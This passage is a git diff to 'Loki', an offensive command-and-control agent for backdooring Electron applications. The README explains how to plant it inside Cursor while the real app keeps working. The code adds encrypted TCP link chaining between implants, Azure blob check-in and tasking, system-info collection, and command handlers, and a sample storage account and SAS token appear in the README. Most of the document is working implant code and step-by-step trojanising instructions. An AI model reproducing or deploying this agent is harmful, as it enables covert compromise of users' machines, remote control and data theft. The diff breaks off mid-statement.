diff --git a/README.md b/README.md index c1a7378..82ac3cf 100644 --- a/README.md +++ b/README.md @@ -148,9 +148,9 @@ _You don't need to compile the agent when backdooring Electron apps. Just replac ``` npm install --save-dev javascript-obfuscator ``` -- Run `obfuscateAgent.js` script to create a Loki payload with your Storage Account info +- Run `create_agent_payload.js` script to create a Loki payload with your Storage Account info ``` -bobby$ node obfuscateAgent.js +bobby$ node create_agent_payload.js [+] Provide Azure storage account information: - Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net - Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D @@ -191,7 +191,7 @@ bobby$ node obfuscateAgent.js ## Backdooring Electron Apps and Keeping the real Application Working as Normal The most straightforward way to use Loki is to replace the files in `{ELECTRONAPP}/resources/app/` with the Loki files. This hollows out the app, meaning the app won't function normally -- Loki replaced its functionality. -If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/proxyapp/init.js` in this repo. +If you really want to keep the Electron application running and have it also deploy Loki in the background all hope is not lost! [John Hammond](https://x.com/_JohnHammond) and I figured out a way to keep the real Electron application running. We've added the file you will need to `/loki/backdoor/init.js` in this repo. It is currently setup to work for Cursor, discovered to be vulnerable by [John Hammond](https://x.com/_JohnHammond). @@ -199,7 +199,7 @@ For doing this you will need to: - Download the Cursor app - Paste all Loki files except `package.json` to `cursor/resources/app/` - Don't replace the real `package.json` -- Copy `/loki/proxyapp/init.js` to `cursor/resources/app/` +- Copy `/loki/backdoor/init.js` to `cursor/resources/app/` - Modify contents of `cursor/resources/app/package.json` to: - set `"main":"init.js",` - delete `"type":"module",` diff --git a/agent/assets/linux/icon.png b/agent/assets/linux/icon.png old mode 100644 new mode 100755 diff --git a/agent/assets/mac/icon.icns b/agent/assets/mac/icon.icns old mode 100644 new mode 100755 diff --git a/agent/assets/win/icon.ico b/agent/assets/win/icon.ico old mode 100644 new mode 100755 diff --git a/agent/config.js b/agent/config.js index a3801a9..0a28be8 100644 --- a/agent/config.js +++ b/agent/config.js @@ -1,5 +1,7 @@ module.exports = { storageAccount: '', metaContainer: '', - sasToken: '' + sasToken: '', + p2pPort: 0, + mode: '' }; diff --git a/agent/main.js b/agent/main.js index ac28ac4..2165144 100644 --- a/agent/main.js +++ b/agent/main.js @@ -10,8 +10,11 @@ const net = require('net'); let customDnsServer = null; const config = require('./config.js'); +global.mode = (!config.mode || (config.mode !== 'egress' && !config.mode.startsWith('link-'))) ? 'egress' : config.mode; +global.TCPServer = null; +global.TCPLinkAgent = null; global.init = false; -global.debug = false; +global.debug = true; global.mainWindow = null; global.agent = null; global.scexecNodePath = "./scexec.node"; @@ -20,6 +23,8 @@ global.path_coffloader = "./COFFLoader.node"; global.STORAGE_ACCOUNT = config.storageAccount; global.META_CONTAINER = config.metaContainer; global.SAS_TOKEN = config.sasToken; +global.P2P_CHALLENGE = config.metaContainer; +global.P2P_PORT = config.p2pPort || null; class Container { constructor() { @@ -136,6 +141,24 @@ app.on('ready', async () => { debug(`\t${JSON.stringify(global.agent.container)}`); // Keep trying to initialize until successful let failattempts = 0; + if (global.mode== 'link-tcp') { + debug(`Starting TCP server on port ${global.P2P_PORT}...`); + + // Create and start the TCP server with configuration from config.js + global.TCPServer = new TCPServer(global.P2P_PORT, global.P2P_CHALLENGE, global.agent.agentid); + try { + await global.TCPServer.start(); + debug(`TCP server started successfully on port ${global.P2P_PORT}`); + + // Wait for a client to connect and authenticate + debug('Waiting for client to connect and authenticate...'); + await global.TCPServer.waitForClient(); + debug('Client connected and authenticated successfully'); + } catch (error) { + debug(`Failed to start TCP server or wait for client: ${error.message}\r\n${error.stack}`); + return; + } + } while (true) { let initResult = await init(); if (initResult === true) { @@ -156,6 +179,569 @@ app.on('ready', async () => { } }); +class TCPAgent { + constructor(config = {}) { + this.config = { + hostname: config.hostname, + port: config.port, + password: config.password, + maxReconnectDelay: 30000, + initialReconnectDelay: 1000, + requestTimeout: 30000 + }; + + this.client = null; + this.isConnected = false; + this.reconnectAttempts = 0; + this.buffer = ''; + this.p2p_aes = null; + this.onMessageCallback = null; + this.onConnectCallback = null; + this.onDisconnectCallback = null; + this.onErrorCallback = null; + } + + async generateKeyAndIV(password) { + const salt = 'fixed-salt'; + const key = crypto.pbkdf2Sync(password, salt, 100000, 32, 'sha256'); + const iv = crypto.pbkdf2Sync(password, salt + 'iv', 100000, 16, 'sha256').slice(0, 16); + return { key, iv }; + } + + async encrypt(data, key, iv) { + const cipher = crypto.createCipheriv('aes-256-cbc', key, iv); + let encrypted = ""; + if (Buffer.isBuffer(data)) { + encrypted = Buffer.concat([cipher.update(data), cipher.final()]); + } else { + encrypted = cipher.update(data, 'utf8', 'hex'); + encrypted += cipher.final('hex'); + } + return encrypted; + } + + async decrypt(encryptedData, key, iv) { + try { + const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); + let decrypted = ""; + if (Buffer.isBuffer(encryptedData)) { + decrypted = Buffer.concat([decipher.update(encryptedData), decipher.final()]); + } else { + decrypted = decipher.update(encryptedData, 'hex', 'utf8'); + decrypted += decipher.final('utf8'); + } + return decrypted; + } catch (error) { + debug(`Error in decrypt(): ${error} ${error.stack}`); + return null; + } + } + + async base64Encode(input) { + try { + if (typeof input === 'string') { + input = Buffer.from(input, 'utf-8'); + } else if (!Buffer.isBuffer(input)) { + input = Buffer.from(JSON.stringify(input), 'utf-8'); + } + return input.toString('base64'); + } catch (error) { + return null; + } + } + + async base64Decode(base64) { + try { + const buffer = Buffer.from(base64, 'base64'); + return buffer.toString('utf-8'); + } catch (error) { + return null; + } + } + + async connect() { + if (!this.config.hostname || !this.config.port || !this.config.password) { + throw new Error('Missing required parameters: hostname, port, and password are required'); + } + + this.client = new net.Socket(); + + this.client.connect(this.config.port, this.config.hostname, async () => { + debug('Connected to server'); + this.isConnected = true; + this.reconnectAttempts = 0; + + this.p2p_aes = await this.generateKeyAndIV(this.config.password); + const encrypted_message = await this.encrypt(this.config.password, this.p2p_aes.key, this.p2p_aes.iv); + const encoded_message = await this.base64Encode(encrypted_message); + this.client.write(encoded_message + '\n'); + + if (this.onConnectCallback) { + this.onConnectCallback(); + } + }); + + this.setupEventHandlers(); + } + + setupEventHandlers() { + this.client.on('data', async (data) => { + const decoded_message = await this.base64Decode(data.toString()); + const decrypted_message = await this.decrypt(decoded_message, this.p2p_aes.key, this.p2p_aes.iv); + this.buffer += decrypted_message; + + const messages = this.buffer.split('\n'); + this.buffer = messages.pop(); + + for (const message of messages) { + if (!message.trim()) continue; + + if (message.trim() === 'AUTH_SUCCESS') { + debug('Authentication successful'); + continue; + } else if (message.trim() === 'AUTH_FAILED') { + debug('Authentication failed'); + this.disconnect(); + return; + } + + try { + // Parse the web request from server + const currentRequest = JSON.parse(message); + + // Handle x-ms-meta-link header if present + if (currentRequest.headers && currentRequest.headers['x-ms-meta-link']) { + const existingLinks = currentRequest.headers['x-ms-meta-link']; + currentRequest.headers['x-ms-meta-link'] = existingLinks ? `${existingLinks},${global.agent.agentid}` : global.agent.agentid; + } + + debug('Received web request from server:'); + debug(`Task ID: ${currentRequest.taskId}`); + debug(`Agent ID: ${currentRequest.agentId}`); + debug(`URL: ${currentRequest.url}`); + debug(`Method: ${currentRequest.method}`); + debug(`Headers: ${JSON.stringify(currentRequest.headers)}`); + debug(`Body: ${currentRequest.body}`); + + // Validate required fields + if (!currentRequest.url) { + throw new Error('Missing required field: url'); + } + + const method = currentRequest.method || 'GET'; + const headers = currentRequest.headers || {}; + const defaultHeaders = { + 'Cache-Control': 'no-cache, no-store, must-revalidate', + 'Pragma': 'no-cache', + 'Expires': '0' + }; + // Parse URL to get hostname and path + const urlObj = new URL(currentRequest.url); + const hostname = urlObj.hostname; + const path = urlObj.pathname + urlObj.search; + let fetchOptions = { + hostname: hostname, + path: path, + port: 443, + method: method, + headers: { ...defaultHeaders, ...headers }, + signal: AbortSignal.timeout(this.config.requestTimeout) + }; + + + // Only add body for non-GET/HEAD methods + if (currentRequest.body !== undefined && !['GET', 'HEAD'].includes(method.toUpperCase())) { + if (method === 'PUT' && headers['Content-Type'] === 'text/plain') { + fetchOptions.body = currentRequest.body; + } else { + fetchOptions.body = currentRequest.body; + } + } + + debug('Sending request with options:', JSON.stringify(fetchOptions, null, 2)); + + try { + //const response = await fetch(currentRequest.url, fetchOptions); + const response = await func_Web_Request(fetchOptions,fetchOptions.body,currentRequest.isBytes); + //func_Web_Request(options, data = null, isBytes = false) + debug(`Response status: ${response.status} ${response.statusText}`); + + let data = ""; + if (currentRequest.isBytes) { + const arrayBuffer = await response.data.arrayBuffer(); + data = Buffer.from(arrayBuffer); + } else { + data = await response.data; + } + + // Create response object + const responseObject = { + status: response.status, + statusText: response.statusText, + headers: response.headers, + data: data, + agentId: currentRequest.agentId, + taskId: currentRequest.taskId + }; + + debug(`Response object: ${JSON.stringify(responseObject)}`); + + // Send response back to server + const encrypted_message = await this.encrypt(JSON.stringify(responseObject) + '\n', this.p2p_aes.key, this.p2p_aes.iv); + const encoded_message = await this.base64Encode(encrypted_message); + this.client.write(encoded_message); + debug('Sent response back to server'); + + } catch (fetchError) { + debug('Fetch error:', fetchError); + if (fetchError.name === 'AbortError') { + throw new Error('Request timed out after ' + this.config.requestTimeout + ' seconds'); + } + throw fetchError; + } + + } catch (error) { + debug('Error processing request:', error); + // Send error response back to server + const errorResponse = { + error: error.message, + agentId: currentRequest?.agentId, + taskId: currentRequest?.taskId + }; + + try { + const encrypted_error = await this.encrypt(JSON.stringify(errorResponse) + '\n', this.p2p_aes.key, this.p2p_aes.iv); + const encoded_error = await this.base64Encode(encrypted_error); + this.client.write(encoded_error); + debug('Sent error response to server'); + } catch (encryptError) { + debug('Failed to encrypt error response:', encryptError); + } + } + } + }); + + this.client.on('end', () => { + debug('Connection ended'); + this.isConnected = false; + if (this.onDisconnectCallback) { + this.onDisconnectCallback(); + } + //this.attemptReconnect(); + }); + + this.client.on('error', (error) => { + debug('Connection error:', error); + this.isConnected = false; + if (this.onErrorCallback) { + this.onErrorCallback(error); + } + //this.attemptReconnect(); + }); + } + + async sendMessage(message) { + if (!this.isConnected) { + throw new Error('Not connected to server'); + } + + try { + const encrypted_message = await this.encrypt(JSON.stringify(message) + '\n', this.p2p_aes.key, this.p2p_aes.iv); + const encoded_message = await this.base64Encode(encrypted_message); + this.client.write(encoded_message); + return true; + } catch (error) { + debug('Error sending message:', error); + return false; + } + } + + disconnect() { + if (this.client) { + this.client.destroy(); + this.isConnected = false; + } + } + + attemptReconnect() { + if (this.isConnected) return; + + const delay = Math.min( + this.config.initialReconnectDelay * Math.pow(2, this.reconnectAttempts), + this.config.maxReconnectDelay + ); + + debug(`Attempting to reconnect in ${delay}ms...`); + + setTimeout(() => { + this.reconnectAttempts++; + this.connect(); + }, delay); + } +} + +class TCPServer { + constructor(port, password, agentId) { + this.server = null; + this.authenticatedClients = new Set(); + this.requestQueue = []; + this.isProcessingQueue = false; + this.clientConnectedPromise = null; + this.clientConnectedResolve = null; + this.pendingResponses = new Map(); + this.port = port; + this.password = password; + this.agentId = agentId; + } + + // Start the TCP server + async start() { + return new Promise((resolve, reject) => { + this.server = net.createServer((socket) => { + let isAuthenticated = false; + let decryptedMessage = ''; + + socket.on('data', async (data) => { + decryptedMessage = ''; + const message = data.toString(); + global.p2p_aes = await generateKeyAndIV(this.password); + try { + const decodedMessage = await func_Base64_Decode(message); + if (!decodedMessage) { + debug('[TCP-SERVER] Failed to decode base64 message'); + socket.end(); + return; + } + decryptedMessage = await func_Decrypt(decodedMessage, global.p2p_aes.key, global.p2p_aes.iv); + decryptedMessage = decryptedMessage; + if (!decryptedMessage) { + debug('[TCP-SERVER] Failed to decrypt message'); + socket.end(); + return; + } + } catch (error) { + debug(`[TCP-SERVER] Error processing message: ${error.message}`); + socket.end(); + return; + } + debug(`[TCP-SERVER] Received message: ${decryptedMessage}`); + + if (!isAuthenticated) { + // Check password + if (decryptedMessage === this.password) { + debug('[TCP-SERVER] Authentication successful'); + isAuthenticated = true; + this.authenticatedClients.add(socket); + let encrypted_response = await func_Encrypt('AUTH_SUCCESS\n', global.p2p_aes.key, global.p2p_aes.iv); + let encoded_response = await func_Base64_Encode(encrypted_response); + socket.write(encoded_response); + + // Resolve the wait for client promise if it exists + if (this.clientConnectedResolve) { + this.clientConnectedResolve(); + this.clientConnectedResolve = null; + this.clientConnectedPromise = null; + } + } else { + debug('[TCP-SERVER] Authentication failed - invalid password'); + let encrypted_response = await func_Encrypt('AUTH_FAILED\n', global.p2p_aes.key, global.p2p_aes.iv); + let encoded_response = await func_Base64_Encode(encrypted_response); + socket.write(encoded_response); + socket.end(); + } + return; + } + + try { + // Parse the response from agent + const response = JSON.parse(decryptedMessage); + debug(`[TCP-SERVER] Response with taskId: ${response.taskId}`); + debug(`[TCP-SERVER] Response with agentid: ${response.agentId}`); + const pendingResponse = this.pendingResponses.get(response.taskId); + if (pendingResponse) { + pendingResponse.resolve(response); + this.pendingResponses.delete(response.taskId); + } + + // Remove the current request from queue and process next + if (this.requestQueue.length > 0) { + this.requestQueue.shift(); + } + this.processNextRequest(); + } catch (error) { + debug(`[TCP-SERVER] Error parsing response: ${error.message}`); + if (this.requestQueue.length > 0) { + const currentRequest = this.requestQueue[0]; + currentRequest.reject(error); + this.requestQueue.shift(); + } + } + }); + + socket.on('end', () => { + debug('[TCP-SERVER] Client disconnected (end event)'); + if (isAuthenticated) { + // Reject any pending requests for this client + for (const [taskId, pendingResponse] of this.pendingResponses) { + pendingResponse.reject(new Error('Client disconnected')); + this.pendingResponses.delete(taskId); + } + this.authenticatedClients.delete(socket); + debug(`[TCP-SERVER] Removed client from authenticated clients. Remaining clients: ${this.authenticatedClients.size}`); + + // Reset client connection promise if no clients remain + if (this.authenticatedClients.size === 0) { + this.clientConnectedPromise = null; + this.clientConnectedResolve = null; + } + } + }); + + socket.on('error', (error) => { + debug(`[TCP-SERVER] Client connection error: ${error.message}`); + if (isAuthenticated) { + // Reject any pending requests for this client + for (const [taskId, pendingResponse] of this.pendingResponses) { + pendingResponse.reject(new Error('Client connection error')); + this.pendingResponses.delete(taskId); + } + this.authenticatedClients.delete(socket); + debug(`[TCP-SERVER] Removed client from authenticated clients due to error. Remaining clients: ${this.authenticatedClients.size}`); + } + }); + + socket.setTimeout(30000); + socket.on('timeout', () => { + debug('[TCP-SERVER] Client connection timed out'); + if (isAuthenticated) { + // Reject any pending requests for this client + for (const [taskId, pendingResponse] of this.pendingResponses) { + pendingResponse.reject(new Error('Client connection timeout')); + this.pendingResponses.delete(taskId); + } + this.authenticatedClients.delete(socket); + debug(`[TCP-SERVER] Removed client from authenticated clients due to timeout. Remaining clients: ${this.authenticatedClients.size}`); + } + //socket.end(); + TaskLoop(); + }); + }); + + this.server.listen(this.port, () => { + resolve(); + }); + + this.server.on('error', (error) => { + reject(error); + }); + }); + } + + // Wait for a client to connect and authenticate + waitForClient() { + if (this.authenticatedClients.size > 0) { + return Promise.resolve(); + } + + // Reset the promise if it was previously resolved/rejected + this.clientConnectedPromise = null; + this.clientConnectedResolve = null; + + // Create new promise to wait for client - no timeout + this.clientConnectedPromise = new Promise((resolve) => { + this.clientConnectedResolve = resolve; + }); + + return this.clientConnectedPromise; + } + + // Stop the TCP server + stop() { + return new Promise((resolve) => { + if (this.server) { + this.server.close(() => { + resolve(); + }); + } else { + resolve(); + } + }); + } + + // Generate a random task ID + generateTaskId() { + return crypto.randomBytes(4).toString('hex'); + } + + // Process the next request in the queue + async processNextRequest() { + if (this.requestQueue.length === 0) { + this.isProcessingQueue = false; + return; + } + + const request = this.requestQueue[0]; + const client = this.getNextAuthenticatedClient(); + + if (!client) { + while (this.requestQueue.length > 0) { + const queuedRequest = this.requestQueue.shift(); + queuedRequest.reject(new Error('No authenticated clients available')); + } + this.isProcessingQueue = false; + return; + } + + const taskId = this.generateTaskId(); + const requestWithIds = { + ...request, + taskId, + agentId: this.agentId + }; + + this.pendingResponses.set(taskId, { + resolve: request.resolve, + reject: request.reject + }); + let requests = JSON.stringify(requestWithIds) + '\n' + let encrypted_requests = await func_Encrypt(requests, global.p2p_aes.key, global.p2p_aes.iv); + let encoded_requests = await func_Base64_Encode(encrypted_requests); + + client.write(encoded_requests); + } + + // Get the next available authenticated client + getNextAuthenticatedClient() { + return this.authenticatedClients.size > 0 + ? Array.from(this.authenticatedClients)[0] + : null; + } + + // Add a web request to the queue + async makeWebRequest(request) { + return new Promise((resolve, reject) => { + if (this.authenticatedClients.size === 0) { + debug('[TCP-SERVER] No authenticated clients available'); + resolve(false); + return; + } + + const requestWithCallback = { + ...request, + resolve, + reject + }; + + this.requestQueue.push(requestWithCallback); + + if (!this.isProcessingQueue) { + this.isProcessingQueue = true; + this.processNextRequest(); + } + }); + } +} + function generateAESKey() { const key_material = { @@ -165,6 +751,20 @@ function generateAESKey() return key_material; } +// Function to generate key and IV from a password +async function generateKeyAndIV(password) { + // Use PBKDF2 to derive a key from the password + const salt = 'fixed-salt'; // In production, you might want to use a random salt + const key = crypto.pbkdf2Sync(password, salt, 100000, 32, 'sha256'); // 32 bytes for AES-256 key + const iv = crypto.pbkdf2Sync(password, salt + 'iv', 100000, 16, 'sha256').slice(0, 16); // 16 bytes for IV + + return { + key: key, + iv: iv + }; +} + + function generateUUID(len) { if (len > 20) len = 20; // Limit max length to 20 if (len < 1) return ''; // Handle invalid length @@ -243,9 +843,31 @@ async function func_Web_Request(options, data = null, isBytes = false) { global.mainWindow.webContents.once('did-finish-load', resolve); }); } + const url = `https://${options.hostname}${options.path}`; + const requestId = Date.now().toString(); + if (data) { + if (!options.headers) { + options.headers = {}; + } + options.headers['Content-Length'] = Buffer.byteLength(data); + } + const requestObject = { + url:url, + method: options.method, + headers: options.headers, + body: data, + isBytes: isBytes + } + if (global.mode== 'link-tcp') { + requestObject.requestId = requestId; + requestObject.isBytes = isBytes; + const response = await global.TCPServer.makeWebRequest(requestObject); + debug(`[WEB-REQUEST] Response : ${JSON.stringify(response)}`); + return response; + } return new Promise((resolve, reject) => { - const url = `https://${options.hostname}:${options.port}${options.path}`; - const requestId = Date.now().toString(); + //const url = `https://${options.hostname}:${options.port}${options.path}`; + //const requestId = Date.now().toString(); const responseHandler = (event, response) => { debug(`[WEB-REQUEST] Response status: ${response.status}`); if (response.error) { @@ -290,7 +912,6 @@ async function func_Web_Request(options, data = null, isBytes = false) { }); } - async function func_Blob_Stat(container, blob) { let options = { hostname: global.agent.storageAccount, @@ -306,7 +927,6 @@ async function func_Blob_Stat(container, blob) { return response.status === 200; } - async function func_Blob_Create(ContainerName, StorageBlob, data) { try { debug(`[BLOB_CREATE] blob : /${ContainerName}/${StorageBlob}`); @@ -314,8 +934,6 @@ async function func_Blob_Create(ContainerName, StorageBlob, data) { data = ""; } data = data.toString(); - let blob_stat = await func_Blob_Stat(ContainerName, StorageBlob); - if (blob_stat === false) { const options = { hostname: global.agent.storageAccount, port: 443, @@ -328,13 +946,11 @@ async function func_Blob_Create(ContainerName, StorageBlob, data) { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(data) } - }; - let response = await func_Web_Request(options, data); - return response.status === 201; - } - return blob_stat; + }; + let response = await func_Web_Request(options, data); + return response.status === 201; } catch (error) { - console.error(`Error in func_Blob_Create() : ${error}`); + debug(`Error in func_Blob_Create() : ${error}`); return false; } } @@ -419,47 +1035,38 @@ async function Blob_Set_Metadata(container, blob, metadata) { } async function getSystemInfo() { - try - { - let hostname = os.hostname(); - - const username = os.userInfo().username; - const osType = os.type(); - const osRelease = os.release(); - const platform = os.platform(); - const arch = os.arch(); - - const PID = process.pid; - let procName = process.argv[ 0 ]; - procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim(); - debug(`procName: ${procName}`); - const nets = os.networkInterfaces(); - const IpInfo = [] - for (const name of Object.keys(nets)) { - for (const net of nets[name]) { - // 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6 - const familyV4Value = typeof net.family === 'string' ? 'IPv4' : 4 - if (net.family === familyV4Value && !net.internal) { - IpInfo.push( net.address ); - } - } - } - // Create a JSON object with the collected information - const systemInfo = { - hostname: hostname, - username: username, - osType: osType, - osRelease: osRelease, - platform: platform, - arch: arch, - PID: PID, - Process: procName, - IP: IpInfo - }; - return systemInfo; - }catch (error) { - debug(`${error} ${error.stack}`); - return 0; + try { + if (!global.mainWindow || global.mainWindow.isDestroyed()) { + debug('Main window is not available'); + global.mainWindow = await createWindow(); + } + if (global.mainWindow.webContents.isLoading()) { + await new Promise(resolve => { + global.mainWindow.webContents.once('did-finish-load', resolve); + }); + } + + return new Promise((resolve, reject) => { + const requestId = Date.now().toString(); + + const responseHandler = (event, systemInfo) => { + ipcMain.removeListener(`system-info-response-${requestId}`, responseHandler); + resolve(systemInfo); + }; + + ipcMain.once(`system-info-response-${requestId}`, responseHandler); + + global.mainWindow.webContents.send('get-system-info', requestId, global.mode); + + // Add timeout + setTimeout(() => { + ipcMain.removeListener(`system-info-response-${requestId}`, responseHandler); + reject(new Error('System info request timed out')); + }, 5000); + }); + } catch (error) { + debug(`Error getting system info: ${error} ${error.stack}`); + return 0; } } @@ -590,144 +1197,6 @@ async function send_output(container,outblob,output) { } }; -async function init() { - try { - let response = null; - let blobs = global.agent.container.blobs; - // Create the metaContainer if it doesn't exist - debug(`[INIT] Creating metaContainer ${global.agent.metaContainer}`); - response = await func_Container_Create(global.agent.metaContainer); - if (response === false) { - debug(`[INIT][!] Failed to create meta container : ${global.agent.metaContainer}`); - return false; - } - // Create the metacontainer blob for this agent. Used to register the agent to the client dashboard table - debug(`[INIT] Creating metaContainer blob /${global.agent.metaContainer}/${global.agent.agentid}`); - response = await func_Blob_Create(global.agent.metaContainer, global.agent.agentid, global.agent.container.name); - if(response === false) { - debug(`[INIT][!] Failed to create meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`); - return false; - } - response = await Blob_Set_Metadata( - global.agent.metaContainer, - global.agent.agentid, - { - stat: Date.now(), - signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)), - hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)) - } - ); - if(response.status != 200) { - debug(`[INIT][!] Failed to set metadata for meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`); - return false; - } - // Create agent container - debug(`[INIT] Creating agent container ${global.agent.container.name}`); - response = await func_Container_Create(global.agent.container.name); - if (response === false) { - debug(`[INIT][!] Failed to create agent container : ${global.agent.container.name}`); - return false; - } - // Create input blob - response = await func_Blob_Create(global.agent.container.name, blobs['in']); - if(response === false) { - debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['in']}`); - return false; - } - // Create checkin blob - let selfInfo = await getSystemInfo(); - const checkin_encryptedData = await func_Encrypt(JSON.stringify(selfInfo, null, 1), global.agent.container.key.key, global.agent.container.key.iv); - const checkin_b64EncData = await func_Base64_Encode(checkin_encryptedData); - response = await func_Blob_Create(global.agent.container.name, blobs['checkin'], checkin_b64EncData); - if(response === false) { - debug(`[INIT][!] Failed to create container blob ${global.agent.container.name} ${blobs['checkin']}`); - return false; - } - return true; - } catch (error) { - debug(`[INIT][!] ERROR : \r\n${error}\r\n ${error.stack}`); - return false; - } -} - -async function reinitializeAgent() { - debug(`[REINIT] Reinitializing agent`); - global.init = false; - let failattempts = 0; - while (true) { - let initResult = await init(); - if (initResult === true) { - debug('[REINIT] Initialization successful'); - break; - } - else{ - failattempts++; - debug(`[REINIT] Initialization failed for ${failattempts} time, retrying in 10 seconds... `); - await new Promise(resolve => setTimeout(resolve, 10000)); - } - } -} - -async function TaskLoop() { - try{ - debug(`[TASKLOOP] Starting task handler`); - while (true) { - if (!global.init) { - let agentidresp = await func_Blob_Read(global.agent.metaContainer, global.agent.agentid); - debug(`[TASKLOOP] func_Blob_Read response : ${JSON.stringify(agentidresp)}`); - if (agentidresp.status === 200) { - if (agentidresp.data == global.agent.container.name) { - debug(`[TASKLOOP] Agents metaContainer global.agent.agentid ${global.agent.agentid} is initialized with value ${agentidresp.data}`); - global.init = true; - } - } - }else{ - let response = await Blob_Set_Metadata( - global.agent.metaContainer, - global.agent.agentid, - { - stat: Date.now(), - signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)), - hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)) - } - ); - if(response.status != 200) { await reinitializeAgent(); } - if( await HandleTask() === false) { await reinitializeAgent(); } - } - if (900 * 1000 > global.agent.thissleep && global.agent.thissleep > 1 * 888) { - global.agent.thissleep = await getrand(global.agent.sleepinterval * 1000, global.agent.sleepjitter); - debug(`[TASKLOOP] Sleeping for ${global.agent.thissleep}`); - await new Promise(resolve => setTimeout(resolve, global.agent.thissleep)); - } else { - debug('[TASKLOOP] Sleeping for default 10 seconds'); - await new Promise(resolve => setTimeout(resolve, 10000)); - } - } - }catch(error){ - debug(`${error} ${error.stack}`); - await TaskLoop(); - } -} - -async function HandleTask() { - try { - let response = await func_Blob_Read(global.agent.container.name ,global.agent.container.blobs['in']); - if (response.status === 200) { - await clearBlob(global.agent.container.name, global.agent.container.blobs['in']); - if (response.data && response.data != null && response.data != undefined && response.data != "") { - let task = await parseTask(response.data); - await DoTask(task); - } - return true; - }else{ - return false; - } - } catch (error) { - debug(`[!] ${error} ${error.stack}`); - return false; - } -} - async function func_Scan_Ports(host, ports) { const openPorts = []; const checkPort = (host, port) => { @@ -868,6 +1337,50 @@ async function func_Drives_List() { return resultBuffer; } +// link localhost 3000 secret123 +function linkHandler(argv) { + let link_host = argv[1]; + let link_port = argv[2]; + let output = ""; + output = `Linking to ${link_host}:${link_port}\r\n`; + debug(output); + global.TCPLinkAgent = new TCPAgent({ + hostname: link_host, + port: link_port, + password: global.P2P_CHALLENGE, + onMessage: async (message) => { + // Handle incoming messages + debug(`Received message: ${message}`); + }, + onConnect: () => { + debug(`Connected to server`); + }, + onDisconnect: () => { + debug(`Disconnected from server`); + }, + onError: (error) => { + debug(`Connection error: ${error}`); + } + }); + global.TCPLinkAgent.connect(); + return output; +} + +// link localhost 3000 secret123 +function unlinkHandler(argv) { + let link_host = argv[1]; + let output = ""; + if (link_host === global.TCPLinkAgent.hostname) { + output = `Unlinking from ${link_host}`; + debug(output); + global.TCPLinkAgent.disconnect(); + } else { + output = `Not linked to ${link_host}`; + debug(output); + } + return output; +} + async function ls(dirPath) { try { if (!path.isAbsolute(dirPath)) { @@ -1275,6 +1788,41 @@ async function func_Azure_BOF_Download_Exec(task, argv) } } + +async function func_cd(newPath) { + try { + let targetPath; + let currentPath = global.agent.cwd; + if (newPath == undefined) { newPath = os.homedir(); } + if (path.isAbsolute(newPath)) { + targetPath = newPath; + } else { + if (newPath.startsWith('./') || newPath.startsWith('.\\')) { + newPath = newPath.substring(2); + } + while (newPath.startsWith('../') || newPath.startsWith('..\\')) { + currentPath = path.dirname(currentPath); + newPath = newPath.substring(3); + } + targetPath = path.join(currentPath, newPath); + } + targetPath = path.normalize(targetPath); + try { + const stats = await fsp.stat(targetPath); + if (!stats.isDirectory()) { + return `[!] Error: ${targetPath} is not a directory`; + } + } catch (error) { + return `[!] Error: Directory ${targetPath} does not exist`; + } + global.agent.cwd = targetPath; + return `Changed directory to ${global.agent.cwd}`; + } catch (error) { + debug(`[!] Error in func_cd: ${error.message}${error.stack}`); + return `[!] Error changing directory: ${error.message}`; + } +} + // Function to simulate doing some work with the blob content async function func_Command_Handler(task, argv) { @@ -1365,6 +1913,10 @@ async function func_Command_Handler(task, argv) } } else if (argv[0] == 'dns') { data = await dnsHandler(cmd); + } else if (argv[0] == 'link') { + data = linkHandler(argv); + } else if (argv[0] == 'unlink') { + data = unlinkHandler(argv); } else if (argv[0] == 'set') { if (argv[1] == 'scexec_path') { global.scexecNodePath = argv[2]; @@ -1477,36 +2029,160 @@ async function DoTask(task) { } } -async function func_cd(newPath) { + +async function init() { try { - let targetPath; - let currentPath = global.agent.cwd; - if (newPath == undefined) { newPath = os.homedir(); } - if (path.isAbsolute(newPath)) { - targetPath = newPath; - } else { - if (newPath.startsWith('./') || newPath.startsWith('.\\')) { - newPath = newPath.substring(2); - } - while (newPath.startsWith('../') || newPath.startsWith('..\\')) { - currentPath = path.dirname(currentPath); - newPath = newPath.substring(3); - } - targetPath = path.join(currentPath, newPath); + let response = null; + let blobs = global.agent.container.blobs; + // Create the metaContainer if it doesn't exist + debug(`[INIT] Creating metaContainer ${global.agent.metaContainer}`); + response = await func_Container_Create(global.agent.metaContainer); + if (response === false) { + debug(`[INIT][!] Failed to create meta container : ${global.agent.metaContainer}`); + return false; } - targetPath = path.normalize(targetPath); - try { - const stats = await fsp.stat(targetPath); - if (!stats.isDirectory()) { - return `[!] Error: ${targetPath} is not a directory`; - } - } catch (error) { - return `[!] Error: Directory ${targetPath} does not exist`; + // Create the metacontainer blob for this agent. Used to register the agent to the client dashboard table + debug(`[INIT] Creating metaContainer blob /${global.agent.metaContainer}/${global.agent.agentid}`); + response = await func_Blob_Create(global.agent.metaContainer, global.agent.agentid, global.agent.container.name); + if(response === false) { + debug(`[INIT][!] Failed to create meta container blob : ${global.agent.metaContainer} ${global.agent.agentid}`); + return false; } - global.agent.cwd = targetPath; - return `Changed directory to ${global.agent.cwd}`; + response = await Blob_Set_Metadata( + global.agent.metaContainer, + global.agent.agentid, + { + stat: Date.now(), + signature: await func_Base64_Encode(JSON.stringify(global.agent.container.key.key)), + hash: await func_Base64_Encode(JSON.stringify(global.agent.container.key.iv)), + link: 